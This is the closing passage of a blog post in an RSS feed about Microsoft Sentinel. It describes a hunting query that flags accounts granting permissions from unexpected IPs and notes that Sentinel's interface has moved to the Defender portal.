<strong>“Granting permissions to account,”</strong> which surfaces the most prevalent users granting access to others and flags source IPs outside the expected pattern, the same underlying signal as the second analytics rule above, but available as an ad-hoc query for manual investigation rather than only firing as an automated alert.</p><p><strong>A platform note worth including</strong>, since anyone following along in their own tenant will hit this immediately: Microsoft Sentinel’s primary interface has moved to the unified Defender portal (security.microsoft.com), away from the classic Azure portal blade, part of Microsoft&#39;s broader push to consolidate security tooling into a single XDR experience. Everything described above still exists and behaves the same either way; it&#39;s just worth knowing before hunting around the Azure portal for a screen that&#39;s moved.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4a12df4db66" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>